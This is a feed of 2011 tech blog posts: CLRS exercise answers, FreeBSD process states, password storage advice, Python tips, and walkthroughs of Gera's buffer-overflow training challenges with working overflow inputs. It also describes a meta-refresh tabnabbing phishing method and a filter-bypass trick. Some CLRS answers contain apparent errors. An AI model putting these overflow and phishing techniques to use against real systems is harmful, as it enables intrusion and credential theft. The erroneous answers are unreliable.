    This one I'm very uncertain about. Based on my understanding so far: the shortest path problem only has two nodes and the goal is to choose a path to get from A to B. In the traveling salesman problem there are many points, and the start and end points are the same. TSP in effect uses multiple iterations of the shortest-path problem on different nodes to get the shortest "tour".
    1.1-5: Come up with a real-world problem in which only the best solution will do. Then come up with a problem in which a solution that is "approximately" the best will do?
    There are very few problems where one needs the objectively optimal solution. Mathematical questions are the only problems I could think of that need that level of accuracy. Virtually every problem needs a good enough solution. Some examples include finding a fast route for packets on the internet or locating a piece of data in a database.
    update 2011-06-30: modified text of answers 1.1-3 and 1.1-5 to be more clear.

    by Eitan Adler (noreply@blogger.com) at June 30, 2011 03:36 PM

    Blogging my way through CLRS [3/?]

    part 2 here
    According to wikipedia Introduction to Algorithms is also known as CLRS which is shorter (and more fair to the other authors) so I'll use that name for now on.

    Question 2.1-1 asks me to redraw a previous diagram, but with different numbers. I am not going to post that here.
    Question 2.1-2 Rewrite the insertion sort procedure to sort into nonincreasing instead of nondecreasing order:
    Here is the pseudocode of the nonincreasing version of insertion sort: for j $ \leftarrow 2$ to length[A]
      do key$ \leftarrow A[j]$
         $\rhd$ Insert A[j] into sorted sequence A[1..j-1]
        $ i \leftarrow j - 1$
        while $i \gt 0$ AND $A[i] \lt key$
          do $A[i+1] \leftarrow A[i]$
             $i \leftarrow i - 1$
        $A[i+1] \leftarrow key$

    Now we prove that this loop correctly terminates with a nonincreasing array to about the same level of formality as the book proved the original.
    Initialization: At the first iteration, when $j=2$ the subarray A[1..j-1] is trivially sorted (as it has only one element).
    Maintenance: In order to prove maintenance we need to show that the inner loop correctly terminates with an array with "space" for the correct element. As CLRS did not prove this property, I will also skip this proof.
    Termination: this loop terminates when j > length[A] or when $j = length[A]+1$. Since we have "proven" (to some level) the maintenance of the loop invariant (that at each point during the loop the subarray [1..j-1] is sorted) we could substitute length[A]+1 for $j$ which becomes [1..length[A]] or the entire array.
    This shows that the loop terminates with a correctly sorted array.
    Question 2.1-3:
    Input:A sequence of $n$ numbers $A = {a_1,a_2,...,a_n}$ and a value $v$.
    Output: An index i such that $v = A[i]$ or a special value $\varnothing$ (NIL) if $v \notin A$
    Write the pseudocode for Linear Search, which scans through the sequence looking for $v$. Using a loop invariant, prove that your algorithm is correct.
    The first part, writing the pseudocode, seems fairly easy:
    $r \leftarrow \varnothing$
    $j \leftarrow 1$ to length[A]
       if $v = A[j] \rhd$ optionally check that $r = \varnothing$
         $r \leftarrow j$
    return $r$

    The second part, proving that this is correct is harder than before because we don't have a trivially true initialization of our loop invariant.
    Initialization: $j = 1\ \And\ r = \varnothing$ at the start of our loop. At this point there are no elements prior to A[j] and we have yet to find $v$ in A. As such our invariant (that r will contain the correct value) is true.
    Maintenance: At every point in the loop the subarray A[1..j] has either contained $v$ in which case it has been assigned to $r$ or has not contained $v$ in which case $r$ remains $\varnothing$. This means that loop invariant holds for every subarray A[1..j].
    Termination: At the end of the loop $j = $ length[A]. We know from our maintenance that $r$ is correct for every subarray A[1..j] so at termination $r$ contains the correct value
    Question 2.1-4 Consider the problem of adding two $l$-bit binary integers, stored in two $l$-element arrays $A$ and $B$. the sum of the two integers should be stored in binary form in $(l+1)$-element array $C$. State the problem formally and write pseudocode for adding the integers.
    Stating the problem formally looks something like:
    Input: Two $l$-bit integers $A$ and $B$ stored as arrays of length $l$ with the most significant bit stored last
    Output: An $l+1$-bit integer ($C$) stored as arrays of length $l+1$ with the most significant bit stored last
    Here is the pseudocode: $\rhd$ X is a $l$-bit array of bits initialized to all zeros in order to store the carry
    for j $\leftarrow$ 1 to $l$
       $C[j] \leftarrow copyC \leftarrow A[j] \oplus B[j]$
       $X[j+1] \leftarrow A[j] \And B[j]$
       $C[j] \leftarrow C[j] \oplus X[j] $
       $X[j+1] \leftarrow copyC \oplus X[j+1] $

    by Eitan Adler (noreply@blogger.com) at June 30, 2011 03:29 PM

    Blogging my way through Cormen [2/?]

    As I said in part 1 I am reading a book on algorithms and have decided to blog my way through. My primary goal in doing so is to improve my writing skills. A secondary goal is to force myself to actually answer the questions.

    1.2-2 Suppose we are comparing implementations of insertion sort and merge sort on the same machine. For inputs of size n, insertion sort runs in $8n^2$ steps, while merge sort runs in $64n \ln n$ steps. For which values of $n$ does insertion sort beat merge sort?
    The question is essentially asking for which values of $n$ is $8n^{2} \lt 64n \ln n$. We can solve this question by first factoring out an $8n$ and we get $n \lt 8 \ln n$ Unfortunately this problem is not solvable using elementary operations. Luckily we are being asked for an integer solution (as computers operate in discrete steps) and we could use the underutilized guess-and-and method.
    $n$ $8 \ln n$
    14 21
    41 29.7
    20 23.9
    25 25.6
    26 26.01
    27 26.3
    So there we have it: given this data we would prefer insertion sort whenever we have fewer than 27 items.
    1.2-3 What is the smallest value of n such that an algorithm whose running time is $100n^2$ runs faster than an algorithm whose running time is $2^n$ on the same machine.
    This question is asking us find the smallest positive integer $n$ that satisfies $100n^{2} \lt 2^n$. This could be solved by doing the math, by looking at a plot of the curves, or using the above method again. . $$2^{14} = 16384$$ $$(100 \times 14^{2}) = 19600$$ $$2^{15} = 32768$$ $$(100 \times 15^{2}) = 22500$$
    An exponential algorithm becomes far worse than a polynomial algorithm when we have only 15 items to worry about. In other words: avoid exponential algorithms!
    Thank you JT and JM for giving me the idea to go through the book, and for looking at my posts before I publish them.

    by Eitan Adler (noreply@blogger.com) at June 30, 2011 03:28 PM

    June 25, 2011

    Eitan Adler

    Google translate proxy no longer available

    One old trick to bypass simple domain based filters was to use Google translate on the domain and go from English to English (or the native language to the native language - whatever it might be).

    I recently came across a link that happen to be using Google translate in that way a (I'm not sure why) and I got an error from Google

    "Translation from English into English is not supported."

    When I tried with other languages I got similar errors. Translating to other languages works as usual.

    Luckily this trick is not really needed as there are thousands of available proxies or one could just make their own.

    by Eitan Adler (noreply@blogger.com) at June 25, 2011 04:15 PM

    Gera's Insecure Programming: Warming up to the stack #1

    Gera has a series of "challenges" designed to help teach people the basics of exploitation. The goal is to provide some input to the program to get it to output you win!"

    The code for the first one
    /*
    * stack1.c
    * specially crafted to feed your brain by gera
    */
    int main() {
       int cookie;
       char buf[80];
       printf("buf: %08x cookie: %08x\n", &buf, &cookie);
       gets(buf);
       if (cookie == 0x41424344)
          printf("you win!\n");
       }
    }

    At a lower level
    The assembly for the above program generated by clang on FreeBSD with -O3 -fomit-frame-pointer (comments are my addition)
    ...
    main:
       pushl %esi
       subl $100, %esp
       leal -8(%ebp), %eax
       movl %eax, 8(%esp)
       leal -88(%ebp), %esi
       movl %esi, 4(%esp)
       movl $.L.str, (%esp)
       call printf
       movl %esi, (%esp)
       call gets      ; note that gets does not have a length argument
       cmpl $1094861636, -8(%ebp)
       jne .LBB0_2    ; we will come back to this
       movl $str, (%esp)
       call puts
    .LBB0_2:
       xorl %eax, %eax
       addl $100, %esp
       popl %esi
       ret
    ...

    Break it down
    The program starts off by creating two variables: a cookie and a fixed size buffer. It then prints out the address of buf and cookie
    Then the fun starts: gets(3) is called to put data in buf. gets is a very insecure function. To quote the man page:
    The gets() function cannot be used securely. Because of its lack of bounds checking, and the inability for the calling program to reliably determine the length of the next incoming line, the use of this function enables malicious users to arbitrarily change a running program's functionality through a buffer overflow attack.
    Then we have a check to see if cookie is equal to some value. We can convert this value from an integer to printable ascii(7) characters. 0x41is A, 0x42 is B, etc. So we want to set the cookie to "ABCD". There is one little gotcha: The machine I'm using (and most you probably are) is little endian so we actually need to reverse the order of our text.
    What should we actually do?
    There is no guarantee of how C variables are stored but we can make a good guess. On my system sizeof(int) is 4 and sizeof(char) is always 1 so our stack probably looks like:
    cookie most significant byte
    cookie byte 2
    cookie byte 3 
    cookie least significant byte
    buf[79]
    buf[78]
    ...
    buf[0]
    
    Lets try it!

    The string we want to insert is
    xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxDCBA. 80 random characters to fill the buffer and then DCBA to fill the cookie (the important part)

    [eitan@ByteByte ~/gstack ]%echo $(jot -b x -s '' 80)DCBA > exploit 
    [eitan@ByteByte ~/gstack ]%./a.out <exploit 
    buf: bfbfea48 cookie: bfbfea98
    you win!
    
    A different way:
    Lets say we didn't have the source and that this was some music player we wanted to (legally) jailbreak. If you disassemble the file you could can change the jump address or just remove the jump altogether to avoid the check
    [eitan@ByteByte ~/gstack !130!]%./a.out
    buf: bfbfea48 cookie: bfbfea98
    you win!
    
    Some notes

    No serious programmer uses gets anymore and real exploits are likely to be harder to create due to OpenBSD's w^x protection, gcc's stack protector, and good coding habits. This was just an intro to the art of exploitation. I plan on following with either the next warming up to the stack challenge or the "esoteric" format string vulnerabilities.

    Update 12/26/10 clarified the goal of the exploit. Explained what "jot" does.

    by Eitan Adler (noreply@blogger.com) at June 25, 2011 04:15 PM

    Repeating characters in multiple languages

    A friend of mine asked me how to repeat a string a specified number of times. There are a few times when ones wants to do this when programing. Here is the "repeating operator" in various languages. I tried to use an operator when possible - but in certain cases I used a function. In all cases I repeat a string followed by a newline.
    The BSDs
    for i in $(jot 1 5);
    do echo -n "Hi";
    done;
    echo "";

    Output:
    HiHiHiHiHi
    Most Linux distributions
    for i in $(seq 1 1 5);
    do echo -n "Hi";
    done;
    echo "";

    Output:
    HiHiHiHiHi
    Perl
    print "-" x 10;
    print "\n"

    Output:
    ----------
    Python
    "ab" * 10 Output: 'abababababababababab'
    R
    paste(rep("Hi",5), collapse='')
    Output:
    [1] HiHiHiHiHi
    Ruby
    print "-" * 10;
    print "\n"

    Output:
    ----------
    Tcl
    string repeat "Hi" 5
    Output:
    HiHiHiHiHi
    ZSH
    repeat 5 printf 'abc';
    echo "";

    Output:
    abcabcabcabcabc
    update 5/30/11: Thanks to Hans I found out that jot is not POSIX. Also fixed formatting.

    by Eitan Adler (noreply@blogger.com) at June 25, 2011 04:15 PM

    Proccess Kernel States (wchan in ps)

    FreeBSD has a nice feature that will signal a process with SIG-INFO when you press Ctrl-T and will tell you some other interesting data about the process such as the load of the CPU, current command that is being run, and the kernel state the process is in (the wchan keyword in ps(1)).
    This state is set by the msleep function and is a syscall or lock that the proccess is waiting on

    I know of no other list explaining each of these states so here it goes:

    biord: block on io read.
    futex: [Linux emulation] process is waiting until a futex is released (see fast userspace mutex)
    getblk: get block (seems to be generated often by tar)
    nanoslp: process is sleeping for some number of nanoseconds (see nanosleep(2))
    pause: process is waiting for a signal (see pause(3))
    pcmwrv: waiting for audio samples to be played
    piperd: read(2) from a pipe
    pipewr: write(2) to a pipe
    physrd: reading from a HDD
    runnable: process is ready to run on the CPU
    running: currently on CPU
    sbwait: wait for socket to return data (see uipc_sockbuf.c) 
    swread: read in from swap
    stopev: process is stopped because of a debugging event (see sys_process.c; relates to ptrace(2))
    tttout: write(2) to a tty
    ttyin: read(2) from a tty
    ucond: a proccess is blocked until a pthreads mutex is released
    vnread: part of the pager (see vnode_pager.c)
    wait: wait(2) for a child process
    wdrain: write drain. On a device mounted with the async option (or soft-updates) wait until all the previous writes have been completed. (see vfs_bio.c)
    zombie: a process died but its parent did not wait(2) for it.

    There are other syscalls that are similar to the ones mentioned above (such as readv(2) instead of read(2), and waitpid(2) instead of wait(2)) which will end up with the same wchans.

    Thank you irc://irc.efnet.org/nox--- for helping me figure out what all of these mean.

    I will try to keep this list up-to-date as I find out about more of them.

    Update 9/21/10: removed "CPU0" state - it doesn't show up in the siginfo output - only in the top output.
    Update 9/22/10: added getblk entry without link to syscall
    Update 10/7/10: added wdrain, swread - I have a /lot/ more to add. 
    I need to add all the following - and more: sfbufa, umtxqb, psleep, qsleep, bo_wwait, bwunpin, sigwait, pause, suspkp suspkp ktsusp  mntref, "mount drain", roothold, rootwait, failpt, exithold, exit1, ritwait , kqflxwt, kqclose, kqclo1, kqclo2, kqkclr, kqflxwt, ithread, iev_rmh , purgelocks, conifhk, aioprn, aiordy, aiospn, aiowc vlruwt vlruwk targrd tgabrt cgticb cgticb  sgread simfree ccb_scanq crydev  crypto_destroy crypto_destroy crypto_ret_wait

    by Eitan Adler (noreply@blogger.com) at June 25, 2011 04:14 PM

    Google's "suspicious account login" feature

    Story here One question: Can the account that generated the warning also dismiss it?

    by Eitan Adler (noreply@blogger.com) at June 25, 2011 04:14 PM

    How to safely handle user passwords

    When you create a website or other service you take on a responsibility to properly store user's credentials; someone who gets access to a user's account can easily see personal information, potentially even financial information. Even if you think you don't have anything of importance, 73% of users[1] have the same password for everything including online banking accounts.

    When dealing with passwords, you should generally assume that the attacker has a copy of your database. Many websites still have SQL injection attacks[2]. Most websites are vulnerable to XSS/CSRF attacks.[3]. For this reason it is a bad idea to store passwords as clear text; instead one should use a hash[4].

    Even with properly stored passwords users still insist on choosing low security passwords.[5]. As a result malicious hackers have compiled lists of commonly used passwords. In order to mitigate these brute force attacks a lot of techniques have been developed. For example, some sites require you to enter a CAPTCHA, but most of these could easily be defeated[6]. Another simple technique is to limit login failures (once an incorrect password has been entered don't allow another attempt for X period of time). I prefer an exponential delay where each failed attempt causes the delay the become longer than the previous one. There are other possibilities that could take into account more sophisticated criteria such as the geographical region and time of day.

    Although important to know the above solutions won't help in the case the attacker has a copy of the user database. In the past hashing the password was sufficient to prevent an attacker from accessing user accounts. Nowadays computers are fast enough that even though the passwords are hashed, compromise is still possible. This is done by taking the list of commonly used passwords and hashing them to see if any match the database. In order to limit the potential for this attack, a new defense was created called "salting". What this entails is hashing a random value (called a "salt") combined with the password. When the user submits his password the system hashes it combined with the salt and compares the combination to the hash already stored in the database. The security benefit of this is that the attacker needs to calculate the hashes for common passwords for each user.

    As technology improved even this became insecure. Nowadays attackers can just hash every conceivable password. Furthermore attackers can work together and using "rainbow tables" which contain pre-computed hashes of millions of passwords and salts. These tables are often generated using distributed computing - so each attacker does not have to develop one on their own. This reduces the amount of security that salts can offer.

    Now that salting is not good enough we need to explore other options. The main factor when exploring these options is time; this is because it is impossible to create an uncrackable password. What we do instead is increase the time requirement to discover the passwords so as to discourage the attacker. The issue is that many hash functions were not designed for password security, but rather for speedy verification. Hash functions like sha-256 (despite currently being unbroken) lends itself to quickly hashing lists of passwords. Modern computers can md5-hash every conceivable alphanumeric 7 character password in less than hour[7]. Despite widespread use old hash functions like md5[8] or sha1[9] were recently discovered to be insecure.

    Today there is bcrypt [pdf], a special hash function created specifically for password security. Uniquely designed, it is slow, and can keep up with the constantly increasing speeds of computers because it uses a "work factor". Although you might be thinking that this will bog down your server, those that use it don't find this to be an issue. For these reasons I strongly advise the use bcrypt along with the the previously stated techniques such as salting.

    2011-6-16: update: At the time I wrote this article I was unaware scrypt, a slower (and therefore better) function to use[10]


    [1] http://redtape.msnbc.com/2010/02/for-years-computer-security-experts-have-been-preaching-that-users-should-never-share-the-same-password-across-their-connecte.html
    [2] http://www.securecomputing.net.au/News/154187,mass-sql-injection-attacks-still-scaling-up.aspx
    [3] http://www.darkreading.com/security/app-security/showArticle.jhtml?articleID=221601529
    [4] A hash is a function that takes some input and outputs a (sufficiently) unique output such that the original input can not be recovered. One simplistic (and highly insecure) hash function would be count the number of times specific letters occurs and store that instead. For example "One very bad zany apple" would become "31012000000102110100010021". It is not possible to know whether this hash becomes "One very bad zany apple", "Noe vrey adb nzya pplea", or "Npdyoazaevebrnpyela". A cryptographic hash function is designed so that multiple passwords like this are hard to create.
    [5] http://www.imperva.com/docs/WP_Consumer_Password_Worst_Practices.pdf [pdf]
    [6] Aska: A viable alternative to CAPTCHA? - Eitan Adler (2008)
    [7] http://www.cryptopp.com/benchmarks-amd64.html
    [8] http://www.schneier.com/blog/archives/2005/06/more_md5_collis.html
    [9] http://www.schneier.com/blog/archives/2005/02/sha1_broken.html
    [10]http://www.tarsnap.com/scrypt.html


    Edit 2010-3-31: fix footnote numbers; subtle grammar errors fixed.
    Edit 2011-2-11: grammar errors fixed - thanks JT.

    Edit 2011-6-16: change dates to use ISO format

    by Eitan Adler (noreply@blogger.com) at June 25, 2011 04:14 PM

    The Usefulness of the X-Do-Not-Track Header

    Do-Not-Track [0] is a recent proposal by the FTC [1] to deal with the problem of users being “tracked” by advertisers. This consists of adding a new HTTP header[2] into page requests that indicates that the user is “opting out” of being “tracked”


    The proposal is backed by a number of major players, including Mozilla [3] , the Electronic Frontier Foundation [4] , Wladimir Palant (the maintainer of of AdBlockPlus)[5] , and Giorgio Maone (the author of NoScript) [6].


    Is this a good idea? Does it solve any existing problems?


    One important factor to consider is that everyone has a different understanding of the concept of “tracking”. If a user has the header set but logs in to a service is there a difference? What if the user closes the browser in between sessions? Can the service remember who logged on last? Can a bank track a user’s visits for security purposes? What about a quiz website tracking participation to prevent cheating? And these are the simple questions. The definition of the word ‘tracking’ is not officially established.


    Google claims it anonymizes IP addresses [7] but the “anonymization only involved clearing the last octet of the user’s IP address.[8] Is that considered tracking? Who decides? You? Google? The government?


    Even if we came to a shared definition of what it means to “track”, how can one prove if tracking is done or not?


    Let’s imagine that the US government enacts a law requiring websites to follow this header based on this elusive definition of “tracking”. What about servers outside the US? How would their activity be handled? What about a foreign user accessing a US based website? The reverse? What if different jurisdictions came to had two mutually exclusive definitions of “tracking”?


    Furthermore, what if websites began to deny service to users that used the X-Do-Not-Track header? Browsers would be forced to remove the header in order to browse the web - effectively nullifying the header’s original purpose.


    Arvind Narayanan [9] says that “Examining ad blocking allows us to predict how publishers, ... assuming DNT is implemented as a browser plug-in, ad blocking and DNT would be equivalent ... ad blocking would result in a far greater decline in revenue than merely preventing behavioral ads. We should therefore expect that DNT will be at least as well tolerated by websites as ad blocking.” This analysis assumes that the header will be in a plugin or optional setting. If every browser implements this header by default, as they should to attract more users, a much larger percentage of people will be opting out than with ad-blockers today.


    What if the law disallowed differing service for those with or without the header? What would be the point? It would make sense to simply disallow “tracking” for all websites, which would make the header moot. Of course, this idea is subject to the same questions as asked above.


    Instead of focusing on silly request-based ideas for websites, browser vendors should be working on fixing the privacy holes that have been already been found. Some examples include Firefox’s fix for the CSS history leak, Internet Explorer’s anti-tracking features [10][11] and related instances


    What if browser vendors could consider idea of shipping their browsers with mini versions of ad-preventing software like AdblockPlus, NoScript[12] , and RequestPolicy[11] that blocked major third party advertisers such as doubleclick. Of course this could become a cat and mouse game - and it may not be a good idea at all - but it would be more effective than the do-not-track header. Other options include appeasing advertises with targeted user advertising and behavior analysis that doesn’t violate user privacy. For examples see the footnote [13]


    Quite simply what we need for increased client side awareness of the privacy implications of various features and some form of control given to the users about what data the transmit across the Internet about themselves.



    [0] http://donottrack.us/
    [1] http://www.ftc.gov/os/2010/12/101201privacyreport.pdf
    [2] Originally the header was “X-Behavioral-Ad-Opt-Out: 1 X-Do-Not-Track: 1” but the current version is now “X-DNT: 1” to save bandwidth
    [3] https://wiki.mozilla.org/Privacy/Jan2011_DoNotTrack_FAQ
    [4] https://www.eff.org/deeplinks/2011/01/mozilla-leads-the-way-on-do-not-track
    [5] https://adblockplus.org/forum/viewtopic.php?t=6492
    [6] http://hackademix.net/2010/12/28/x-do-not-track-support-in-noscript/
    [7] http://searchengineland.com/anonymizing-googles-server-log-data-hows-it-going-15036
    [8] http://news.cnet.com/8301-13739_3-10038963-46.html
    [9] http://33bits.org/2010/09/20/do-not-track-explained/
    [10] http://blogs.msdn.com/b/ie/archive/2010/12/07/ie9-and-privacy-introducing-tracking-protection-v8.aspx
    [11] http://blogs.msdn.com/b/ie/archive/2011/01/25/update-effectively-protecting-consumers-from-online-tracking.aspx
    [12] These particular addons “break” websites by default, but they can be configured in such a way to limit the damage they cause.
    [13] See http://crypto.stanford.edu/adnostic/ Profiling and targeting take place in the browser. The ad network is unaware of the user’s interests


    Thank you to JT very much for the sane editing and thoughts provided.

    by Eitan Adler (noreply@blogger.com) at June 25, 2011 04:14 PM

    Warming up to the stack #3

    #include <stdio.h>
    int main() {
      int cookie;
      char buf[80];
      printf("buf: %08x cookie: %08x\n", &buf, &cookie);
      gets(buf);
      if (cookie == 0x01020005)
        printf("you win!\n");
    }

    Not much is new here. We exploit this the same was we did the first two except that we have a null character (ctrl @).

    I want to point out one thing that I didn't mention on my previous posts. The address of cookie and buf are printed out so we don't really need to "guess" where they are on the stack. I ignored this before, because in real programs, the address values are rarely printed out.

    by Eitan Adler (noreply@blogger.com) at June 25, 2011 04:14 PM

    Warming up to the stack #2

    #include <stdio.h>
    int main() {
      int cookie;
      char buf[80];
      printf("buf: %08x cookie: %08x\n", &buf, &cookie);
      gets(buf);
      if (cookie == 0x01020305)
        printf("you win!\n");
    }

    Gera's challenge #2 is exactly the same as the first one other than the cookie we need to write. What makes this interesting is that the characters are not "printable" (they don't have a symbolic representation.

    There are a few ways to deal with this:
    • Take a file similar the original one and use a hex editor, like hexcurse(1), to manually modify it.
    • Use inline perl. perl -e 'print "q" x 80 . "\x05\x03\x02\x01"'
    • Directly entering the special characters using ctrl+v followed by a ctrl+key. The key is 0x40 + the value. This won't necessarily work on your terminal due to the Ctrl + C
    %./a.out <exploit
    buf: bfbfe9e8 cookie: bfbfea38
    you win!

    by Eitan Adler (noreply@blogger.com) at June 25, 2011 04:14 PM

    Tabnabbing Without Javascript

        I recently came across a new type of phishing attack called tabnabbing. The attack works by using a client side script to detect when the user is not viewing the page, then changes the page content to a phishing page.

        This method desribed by Aza Raskin could be easily prevented by disabling Javascript. However, it is possible to perform the attack even if Javascript is disabled. Most browsers have the ability to refresh the page using a <meta> refresh tag. The page waits until presumably the user isn't looking at the tab any more, then changes the location of the page to one that resembles the true site (as shown in this proof of concept).

    If you got to this post via the POC please note that the POC is not a phishing site and I DO NOT log ANY usernames or passwords.

    by Eitan Adler (noreply@blogger.com) at June 25, 2011 04:14 PM

    tsocks with svn - failure

    tsocks is a program that will "sockify" any application. It does so by watching the application and rewriting any networking requests to go through the socks server you specify in tsocks.conf.

    You can either use tsocks by running tsocks command [arguments] or by running tsocks on followed by the commands you want to run. You turn it off by running tsocks off.

    I ran into an annoying error when using tsocks to sockify subversion. I got the error
    svn: OPTIONS of '...': could not connect to server (...)
    It turns out that using "tsocks svn up" failed this way, but if I tried the second possibility (tsocks on; svn up; tsocks off) it works.
    I have no clue why this might be.

    by Eitan Adler (noreply@blogger.com) at June 25, 2011 04:13 PM

    Mercurial Extensions

    Mercurial has the ability to load extensions dynamically. All that is required is to modify ~/.hgrc.

    In order to add an extension open ~/.hgrc in your preferred text editor. Then look for a line that looks like [extensions]. If you don't find one add it to file. Under this line you can add a large number of extensions. Stock mercurial comes with a number of useful extensions (although none of them are turned on by default).

    The following are the ones I found useful.
    color  - displays output from some commands in color
    fetch - does hg fetch; hg update; hg merge in one command
    graphlog - command to view revision graphs from a shell
    progress (hgext.progress) - shows progress of some commands

    to learn more about extensions type hg help extensions into the command line.

    by Eitan Adler (noreply@blogger.com) at June 25, 2011 04:13 PM

    Prediction: yahoo won't matter

    Within the next 5 years Yahoo!, like AOL will still be around but won't matter at all.

    by Eitan Adler (noreply@blogger.com) at June 25, 2011 04:13 PM

    The Daily Monthly

    From the author of Cognitive Daily we have the The Daily Monthly. Each month a new topic but each day a new post (http://dailymonthly.com/)

    by Eitan Adler (noreply@blogger.com) at June 25, 2011 04:13 PM

    Cognitive Daily comes to a close

    Cognitive Daily, one of the best physcology blogs around, announced they will no longer be posting anything new.
    I've been reading Cognitive Daily since I was in high school and I'm very saddened to see it go.

    by Eitan Adler (noreply@blogger.com) at June 25, 2011 04:13 PM

    Useful google search tip

    One way to avoid Google getting "too smart" about your search query is to purposely misspell words. Sometimes I've found more relevant results when I do that. The misspelling has to be close to the original word though.

    by Eitan Adler (noreply@blogger.com) at June 25, 2011 04:12 PM

    xslt: != vs not()

    I made a minor change to my xslt file. I often write "stub questions" in my FAQ to remind myself to answer them. I added a simple attribute to the "item" element

    <xs:attribute name="stub" default="false">
    <xs:simpleType>
    <xs:restriction base="xs:string">
    <xs:enumeration value="true"/>
    <xs:enumeration value="false"/>
    </xs:restriction>
    </xs:simpleType>
    </xs:attribute>


    This creates an optional attribute "stub" that is a string which could either be "true" or "false" and is by default "false".

    That wasn't too hard to figure out. The harder part was getting my XSLT file to only display non-stub questions.

    My first try was <xsl:if test="@stub != 'false'"> (I used != because of the default).
    This however never showed any of my questions. It turns out that != doesn't work when an element doesn't exist. After asking around on IRC <xsl:if test="not(@stub = 'true')"> appears to be the correct way to do things.

    by Eitan Adler (noreply@blogger.com) at June 25, 2011 04:07 PM

    June 19, 2011

    Free Software Round Table

    Episode 058: June 18, 2011

    Tonight's episode will hosted by: Ilya (dotCOMmie) Sukhanov, Bill Burns, Brian Fix, Justin Seyster, and Jonathan Dahan, and was engineered by Jonathan Dahan. Streamed live at 10:00 PM EDT, and some of the hosts are in the chatroom at irc.freenode.net#fsrt .

    The following topics are to be discussed:

    • Oracle and the community: [1] [2]
    • C++: [1]
    • RSA: [1]
    • Chrome vs FF in Ubuntu: [1]
    • Linux + Xen friends at last? [1]
    • MSFT + Nvidia: [1]
    • UN says Internet is human right: [1]
    • Skype reverse engineered: [1]
    • Linux 3.0 [1][2]
    • HTC on bootloaders: [1]
    • Nokia wins "Patent War" with Apple [1]
    • Mongo king of nosql? [1]
    • Software Patent Reform [1]

    by ron@vnetworx.net (argee) at June 19, 2011 01:14 AM

    April 22, 2011

    Justin

    os.popen considered harmful

    os.popen uses the shell by default, and unlike subprocess.Popen, has no way of disabling it. Problems can occur when the program you are trying to run does not exist or is unable to be ran due to a permissions issue.

    Consider the following example function:

    def logged_in_users():
        users = set()
        for line in os.popen("who"):
            users.add(line.split()[0])
        return users
    

    This runs just fine when everything is working:

    In [4]: logged_in_users()
    Out[4]: set(['justin'])
    

    But if there is a problem running the command(for the example lets change the 'who' to 'whom':

    In [6]: logged_in_users()
    sh: whom: not found
    Out[6]: set()
    

    What happened was os.popen ran

    "sh -c whom"
    

    While sh started fine, the actually command could not be ran. Since os.popen also does not pass the exit code back to the parent process there is no easy method to use to see if anything went wrong.

    If we switch over to subprocess.Popen, everything works fine:

        for line in subprocess.Popen(["whom"], stdout=subprocess.PIPE).stdout:
    

    This call will instead immediately raise an exception:

    OSError: [Errno 2] No such file or directory
    

    So using subprocess.Popen and not using os.popen has the following benefits:

    • Is more secure against potential command injection
    • Does not waste a process
    • Returns better error message to the parent process

    April 22, 2011 10:25 PM

    April 19, 2011

    Justin

    normalizing ipv6 addresses

    One of the first steps in groking ipv6 is getting a handle on ipv6 addresses.

    The 'dotted quad' notation for ipv4 is fairly simple, and other than possible zero padding issues, they all look the same. ipv6 addresses are a bit different. Rather than a dotted quad they are 8 hex groups, and there are a lot of rules for displaying the addresses. For working with ipv6 addresses there are two options:

    • Convert them to a 16 byte string
    • Normalize them

    There are some very nice libraries for working with ip addreses, but the low level socket functions can be used to convert and normalize:

    >>> import socket
    >>> bytes=socket.inet_pton(socket.AF_INET6, "2001:4860:800f:0:0:0:0:0063")
    >>> bytes
    ' \x01H`\x80\x0f\x00\x00\x00\x00\x00\x00\x00\x00\x00c'
    >>> 'we can see that the data is the same:'
    >>> binascii.hexlify(bytes)
    '20014860800f00000000000000000063'
    >>> print socket.inet_ntop(socket.AF_INET6, bytes)
    2001:4860:800f::63
    

    We can make a simple fuction to do that:

    def normalize(ip):
        bytes=socket.inet_pton(socket.AF_INET6, ip)
        return socket.inet_ntop(socket.AF_INET6, bytes)
    

    You can see some of the weird normalization rules in action:

    >>> print normalize("2001:4860:800f:0:0:0:0:0063")
    2001:4860:800f::63
    >>> print normalize("::ffff:c000:280")
    ::ffff:192.0.2.128
    >>> print normalize("ff02:0:0:0:0:0:0:1")
    ff02::1
    

    April 19, 2011 04:34 PM

    April 17, 2011

    Justin

    Debian/kFreeBSD

    A few days ago I installed Debian/kFreeBSD on my home server. It had been running opensolaris for years, but doing just about anything on that system was a complete pain in the ass. I had been meaning to give Debian/kFreeBSD a try, but had been putting it off thinking the changeover would break a lot of things, or I would have trouble importing the ZFS pools.

    The other day I had some free time so I gave it a go.

    I downloaded the mini.iso and dd'd it to a spare usb stick. The kFreeBSD ISOs support both cd and hard disk booting like the linux images. The install took about 40 minutes(including the time taken to download everything).

    After that I expected to have a few problems.. but everything worked. I was able to install zfsutils and import the zfs pools. Debian/kFreeBSD doesn't currently support nfs, but it was easy enough to install samba.

    I'm left with a speedy, lightweight system, with thousands of packages and full security support:

    root@pip:~# df -h /
    Filesystem            Size  Used Avail Use% Mounted on
    /dev/ad0s1             35G  596M   32G   2% /
    
    root@pip:~# free -m
                 total       used       free     shared    buffers     cached
    Mem:          2026        222       1804         17          0          0
    -/+ buffers/cache:        222       1804
    Swap:            0          0          0
    
    root@pip:~# apt-cache search ""|wc -l
    26258
    

    Other than a few utilities working a little differently (the main one I noticed was netstat not taking the same flags) it feels exactly like a debian/linux system. But with ZFS.

    April 17, 2011 09:04 PM

    Playing with blogofile

    Reworking my much neglected website with blogofile. Ikiwiki is great, but I never really did anything with it. Blogofile is written in python and uses mako, two things I use in almost every project.

    Nice page titles

    The first thing I wanted to do was fix the page titles. Blog posts should automatically have their page title set. This was a trivial change to head.mako:

    -<title>${bf.config.blog.name}</title>
    +<title>
    +    BB.Net
    +%if post and post.title:
    +- ${post.title}
    +%endif
    +</title>
    

    Easy blogging

    The second thing I needed to do was write a script for easily adding a new post. newblog.py was the result:

    justin@eee:~/projects/bbdotnet$ ./newblog.py
    Title: Playing with blogofile
    cats: tech,python,blogofile
    

    This drops me into a vim session with the following contents

    ---
    categories: tech,python,blogofile
    date: 2011/04/17 20:34:08
    title: Playing with blogofile
    ---
    

    all I have to do when I'm done is 'git commit'

    Makefile

    Finally, I wrote a stupid simple Makefile, that way I can just kick off a :make inside of vim.

    all: build
    
    build:
        blogofile build
    

    April 17, 2011 08:34 PM

    March 19, 2011

    Free Software Round Table

    Episode 056: March 19, 2011

